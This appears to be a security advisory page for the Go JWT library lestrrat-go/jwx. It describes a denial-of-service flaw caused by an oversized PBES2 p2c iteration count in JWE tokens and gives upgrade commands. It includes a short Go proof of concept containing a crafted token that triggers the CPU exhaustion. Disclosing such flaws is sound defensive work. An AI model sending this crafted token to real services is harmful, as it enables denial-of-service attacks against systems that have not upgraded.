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MEDIUM5.3

GHSA-7f9x-gw85-8grf

lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

Quick fix

GHSA-7f9x-gw85-8grf — github.com/lestrrat-go/jwx: upgrade to the fixed version with the command below.

go get github.com/lestrrat-go/jwx@v1.2.27

Details

### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack

### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

### PoC ```go package main

import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" )

func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } }

```

### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Are you affected?

Enter the version of the package you're using.

Affected packages

Go/github.com/lestrrat-go/jwx
Introduced in: 0Fixed in: 1.2.27
Fixgo get github.com/lestrrat-go/jwx@v1.2.27
Go/github.com/lestrrat-go/jwx/v2
Introduced in: 0Fixed in: 2.0.18
Fixgo get github.com/lestrrat-go/jwx/v2@v2.0.18

References